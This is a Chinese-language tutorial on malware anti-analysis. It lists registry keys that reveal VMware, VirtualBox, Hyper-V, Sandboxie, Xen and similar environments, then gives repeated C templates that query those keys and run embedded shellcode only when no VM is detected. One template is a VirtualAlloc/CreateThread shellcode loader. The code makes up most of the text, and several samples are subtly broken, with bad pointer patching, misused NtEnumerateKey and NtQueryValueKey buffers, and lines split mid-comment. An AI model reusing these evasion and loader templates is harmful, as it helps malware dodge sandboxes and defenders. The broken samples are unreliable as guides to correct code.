描述
通过注册表规避检测的原理是因为主机中存在着不应该存在的注册表项和值,因为它们只会存在于特定的虚拟环境中。当然,通过这种方法检测也可能会产生误报因为主机安装了虚拟机,其系统也会存在一些虚拟机的工件,如虚拟机程序、注册表项和值。
需要检查的注册表路径
产品 | 注册表路径 |
---|---|
常规 | HKLM\Software\Classes\Folder\shell\sandbox |
Hyper-V | HKLM\SOFTWARE\Microsoft\Hyper-V HKLM\SOFTWARE\Microsoft\VirtualMachine HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters HKLM\SYSTEM\ControlSet001\Services\vmicheartbeat HKLM\SYSTEM\ControlSet001\Services\vmicvss HKLM\SYSTEM\ControlSet001\Services\vmicshutdown HKLM\SYSTEM\ControlSet001\Services\vmicexchange |
Parallels | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_1AB8* |
Sandboxie | HKLM\SYSTEM\CurrentControlSet\Services\SbieDrv HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninst all\Sandboxie |
VirtualBox | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_80EE* HKLM\HARDWARE\ACPI\DSDT\VBOX__ HKLM\HARDWARE\ACPI\FADT\VBOX__ HKLM\HARDWARE\ACPI\RSDT\VBOX__ HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions HKLM\SYSTEM\ControlSet001\Services\VBoxGuest HKLM\SYSTEM\ControlSet001\Services\VBoxMouse HKLM\SYSTEM\ControlSet001\Services\VBoxService HKLM\SYSTEM\ControlSet001\Services\VBoxSF HKLM\SYSTEM\ControlSet001\Services\VBoxVideo |
VirtualPC | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_5333* HKLM\SYSTEM\ControlSet001\Services\vpcbus HKLM\SYSTEM\ControlSet001\Services\vpc-s3 HKLM\SYSTEM\ControlSet001\Services\vpcuhub HKLM\SYSTEM\ControlSet001\Services\msvmmouf |
VMware | HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_15AD* HKCU\SOFTWARE\VMware, Inc.\VMware Tools HKLM\SOFTWARE\VMware, Inc.\VMware Tools HKLM\SYSTEM\ControlSet001\Services\vmdebug HKLM\SYSTEM\ControlSet001\Services\vmmouse HKLM\SYSTEM\ControlSet001\Services\VMTools HKLM\SYSTEM\ControlSet001\Services\VMMEMCTL HKLM\SYSTEM\ControlSet001\Services\vmware HKLM\SYSTEM\ControlSet001\Services\vmci HKLM\SYSTEM\ControlSet001\Services\vmx86 HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_V Mware_IDE_CD* HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_V Mware_SATA_CD* HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virt ual_IDE_Hard_Drive* HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virt ual_SATA_Hard_Drive* |
Wine | HKCU\SOFTWARE\Wine HKLM\SOFTWARE\Wine |
Xen | HKLM\HARDWARE\ACPI\DSDT\xen HKLM\HARDWARE\ACPI\FADT\xen HKLM\HARDWARE\ACPI\RSDT\xen HKLM\SYSTEM\ControlSet001\Services\xenevtchn HKLM\SYSTEM\ControlSet001\Services\xennet HKLM\SYSTEM\ControlSet001\Services\xennet6 HKLM\SYSTEM\ControlSet001\Services\xensvc HKLM\SYSTEM\ControlSet001\Services\xenvdb |
1.检查注册表路径
恶意软件可以检测注册表中是否存在特定路径的字符串,例如”HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.”,这个路径可能表示该可执行文件正在虚拟机中运行。
以RegOpenKey函数为例:
以RegOpenKey函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 构造一个包含特定注册表路径的字符串
char* vmkey = "SOFTWARE\\VMware, Inc.";
// 调用RegOpenKey使用该字符串作为参数,并接收一个指向打开的键的句柄
HKEY hKey;
LSTATUS status = RegOpenKeyA(HKEY_LOCAL_MACHINE, vmkey, &hKey);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示找到了特定注册表路径
if (status == ERROR_SUCCESS)
{
// 如果找到了特定注册表路径,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
RegCloseKey(hKey);
return 0;
}
else
{
// 如果没有找到特定注册表路径,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以RegOpenKeyEx函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 构造一个包含特定注册表路径的字符串
char* vmkey = "SOFTWARE\\VMware, Inc.";
// 调用RegOpenKeyEx使用该字符串作为参数,并指定KEY_READ作为所需的访问权限,并接收一个指向打开的键的句柄
HKEY hKey;
LSTATUS status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, vmkey, 0, KEY_READ, &hKey);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示找到了特定注册表路径
if (status == ERROR_SUCCESS)
{
// 如果找到了特定注册表路径,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
RegCloseKey(hKey);
return 0;
}
else
{
// 如果没有找到特定注册表路径,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以RegOpenKeyExW函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 构造一个包含特定注册表路径的宽字符字符串
wchar_t* vmkey = L"SOFTWARE\\VMware, Inc.";
// 调用RegOpenKeyExW使用该字符串作为参数,并指定KEY_READ作为所需的访问权限,并接收一个指向打开的键的句柄
HKEY hKey;
LSTATUS status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, vmkey, 0, KEY_READ, &hKey);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示找到了特定注册表路径
if (status == ERROR_SUCCESS)
{
// 如果找到了特定注册表路径,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
RegCloseKey(hKey);
return 0;
}
else
{
// 如果没有找到特定注册表路径,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
另一个变体:
#include <Windows.h>
int main()
{
const char shellcode[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(Thread, INFINITE);
}
以NtOpenKey函数为例:
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 构造一个包含特定注册表路径的UNICODE_STRING结构
UNICODE_STRING vmkey;
RtlInitUnicodeString(&vmkey, L"\\Registry\\Machine\\Software\\VMware, Inc.");
// 调用NtOpenKey使用该结构作为参数,并指定KEY_READ作为所需的访问权限,并接收一个指向打开的键的句柄
HKEY hKey;
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &vmkey, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenKey(&hKey, KEY_READ, &objAttr);
// 检查返回值是否为STATUS_SUCCESS,如果是,则表示找到了特定注册表路径
if (status == STATUS_SUCCESS)
{
// 如果找到了特定注册表路径,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
NtClose(hKey);
return 0;
}
else
{
// 如果没有找到特定注册表路径,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())code)();
}
return 0;
}
2.检查注册表项
恶意软件可以通过检查注册表项是否有特定值来达到规避的目的。
以RegQueryValue函数为例:
以RegQueryValue函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 构造一个包含特定注册表路径的字符串
char* vmkey = "SOFTWARE\\VMware, Inc.";
// 调用RegQueryValue使用该字符串作为参数,并接收一个指向缓冲区的指针
char buffer[MAX_PATH];
LONG size = MAX_PATH;
LSTATUS status = RegQueryValueA(HKEY_LOCAL_MACHINE, vmkey, buffer, &size);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示获取了该键的默认值
if (status == ERROR_SUCCESS)
{
// 检查缓冲区中的字符串是否包含指定字符串
if (strstr(buffer, "VMware") != NULL)
{
// 如果缓冲区中的字符串包含指定字符串,则不运行恶意代码,而是退出或执行其他操作
return 0;
}
else
{
// 如果缓冲区中的字符串不包含指定字符串,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
}
else
{
// 如果获取该键的默认值失败,则可能表示该键不存在或没有默认值,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以RegQueryValueEx函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 打开一个包含特定注册表项的键,并获取该键的句柄
HKEY hKey;
LSTATUS status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.", 0, KEY_READ, &hKey);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示打开了该键
if (status == ERROR_SUCCESS)
{
// 调用RegQueryValueEx使用该句柄和特定注册表项的名称作为参数,并接收一个指向缓冲区的指针
char buffer[MAX_PATH];
DWORD size = MAX_PATH;
DWORD type;
status = RegQueryValueExA(hKey, "InstallPath", NULL, &type, (LPBYTE)buffer, &size);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示获取了该项的数据
if (status == ERROR_SUCCESS)
{
// 检查缓冲区中的字符串是否包含指定字符串
if (strstr(buffer, "VMware") != NULL)
{
// 如果缓冲区中的字符串包含指定字符串,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
RegCloseKey(hKey);
return 0;
}
else
{
// 如果缓冲区中的字符串不包含指定字符串,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
}
else
{
// 如果获取该项的数据失败,则可能表示该项不存在或没有数据,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
}
else
{
// 如果打开该键失败,则可能表示该键不存在,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以RegEnumKeyEx函数为例:
#include <windows.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] =
"\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00
\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 打开一个包含特定注册表子项的键,并获取该键的句柄
HKEY hKey;
LSTATUS status = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE", 0, KEY_READ, &hKey);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示打开了该键
if (status == ERROR_SUCCESS)
{
// 定义一个索引变量
DWORD index = 0;
// 定义一个循环标志变量
BOOL flag = TRUE;
// 循环枚举子键
while (flag)
{
// 调用RegEnumKeyEx使用该句柄和索引作为参数,并接收一个
指向缓冲区的指针
char buffer[MAX_PATH];
DWORD size = MAX_PATH;
status = RegEnumKeyExA(hKey, index, buffer, &size,
NULL, NULL, NULL, NULL);
// 检查返回值是否为ERROR_SUCCESS,如果是,则表示获取了子
键的名称
if (status == ERROR_SUCCESS)
{
// 检查缓冲区中的字符串是否包含指定字符串
if (strstr(buffer, "VMware") != NULL)
{
// 如果缓冲区中的字符串包含指定字符串,则不运行恶
意代码,而是退出或执行其他操作
// 关闭键句柄
RegCloseKey(hKey);
return 0;
}
else
{
// 如果缓冲区中的字符串不包含指定字符串,则增加索
引并继续循环
index++;
}
}
else if (status == ERROR_NO_MORE_ITEMS)
{
// 如果返回值为ERROR_NO_MORE_ITEMS,则表示枚举完所
有子键,退出循环
flag = FALSE;
}
else
{
// 如果返回值为其他错误,则也退出循环
flag = FALSE;
}
}
// 如果枚举完所有子键或者遇到错误,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA
函数
*(DWORD*)(code + 1) =
(DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) =
(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),
"MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) =
(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
else
{
// 如果打开该键失败,则可能表示该键不存在,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA
函数
*(DWORD*)(code + 1) =
(DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) =
(DWORD)GetProcAddress(GetModuleHandleA("user32.dll"),
"MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) =
(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以NtEnumerateKey函数为例:
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 打开一个包含特定注册表子项的键,并获取该键的句柄
HKEY hKey;
OBJECT_ATTRIBUTES objAttr;
UNICODE_STRING keyName;
RtlInitUnicodeString(&keyName, L"\\Registry\\Machine\\Software");
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenKey(&hKey, KEY_READ, &objAttr);
// 检查返回值是否为STATUS_SUCCESS,如果是,则表示打开了该键
if (status == STATUS_SUCCESS)
{
// 定义一个索引变量
DWORD index = 0;
// 定义一个循环标志变量
BOOL flag = TRUE;
// 循环枚举子键
while (flag)
{
// 调用NtEnumerateKey使用该句柄和索引作为参数,并指定KeyNameInformation作为所需的信息类型,并接收一个指向缓冲区的指针
KEY_NAME_INFORMATION keyInfo;
ULONG resultLength;
status = NtEnumerateKey(hKey, index, KeyNameInformation, &keyInfo, sizeof(keyInfo), &resultLength);
// 检查返回值是否为STATUS_SUCCESS,如果是,则表示获取了子键的名称
if (status == STATUS_SUCCESS)
{
// 检查缓冲区中的字符串是否包含指定字符串
if (wcsstr(keyInfo.Name, L"VMware") != NULL)
{
// 如果缓冲区中的字符串包含指定字符串,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
NtClose(hKey);
return 0;
}
else
{
// 如果缓冲区中的字符串不包含指定字符串,则增加索引并继续循环
index++;
}
}
else if (status == STATUS_NO_MORE_ENTRIES)
{
// 如果返回值为STATUS_NO_MORE_ENTRIES,则表示枚举完所有子键,退出循环
flag = FALSE;
}
else
{
// 如果返回值为其他错误,则也退出循环
flag = FALSE;
}
}
// 如果枚举完所有子键或者遇到错误,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
else
{
// 如果打开该键失败,则可能表示该键不存在,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}
以NtQueryValueKey函数为例:
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
// 定义一个恶意代码,例如弹出一个消息框
char code[] = "\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x6A\x00\xFF\x15\x00\x00\x00\x00";
int main()
{
// 打开一个包含特定注册表项的键,并获取该键的句柄
HKEY hKey;
OBJECT_ATTRIBUTES objAttr;
UNICODE_STRING keyName;
RtlInitUnicodeString(&keyName, L"\\Registry\\Machine\\Software\\VMware, Inc.");
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenKey(&hKey, KEY_READ, &objAttr);
// 检查返回值是否为STATUS_SUCCESS,如果是,则表示打开了该键
if (status == STATUS_SUCCESS)
{
// 构造一个包含特定注册表项名称的UNICODE_STRING结构
UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, L"InstallPath");
// 调用NtQueryValueKey使用该句柄和该结构作为参数,并指定KeyValuePartialInformation作为所需的信息类型,并接收一个指向缓冲区的指针
KEY_VALUE_PARTIAL_INFORMATION valueInfo;
ULONG resultLength;
status = NtQueryValueKey(hKey, &valueName, KeyValuePartialInformation, &valueInfo, sizeof(valueInfo), &resultLength);
// 检查返回值是否为STATUS_SUCCESS,如果是,则表示获取了该项的数据
if (status == STATUS_SUCCESS)
{
// 检查缓冲区中的数据是否包含指定字符串
if (wcsstr((WCHAR*)valueInfo.Data, L"VMware") != NULL)
{
// 如果缓冲区中的数据包含指定字符串,则不运行恶意代码,而是退出或执行其他操作
// 关闭键句柄
NtClose(hKey);
return 0;
}
else
{
// 如果缓冲区中的数据不包含指定字符串,则继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
}
else
{
// 如果获取该项的数据失败,则可能表示该项不存在或没有数据,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
}
else
{
// 如果打开该键失败,则可能表示该键不存在,也继续运行恶意代码
// 修改恶意代码中的地址,使其指向LoadLibraryA和MessageBoxA函数
*(DWORD*)(code + 1) = (DWORD)GetModuleHandleA("user32.dll");
*(DWORD*)(code + 6) = (DWORD)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
*(DWORD*)(code + 11) = (DWORD)"Hello from Malware!";
*(DWORD*)(code + 21) = (DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
// 执行修改后的恶意代码
((void(*)())(DWORD)code)();
}
return 0;
}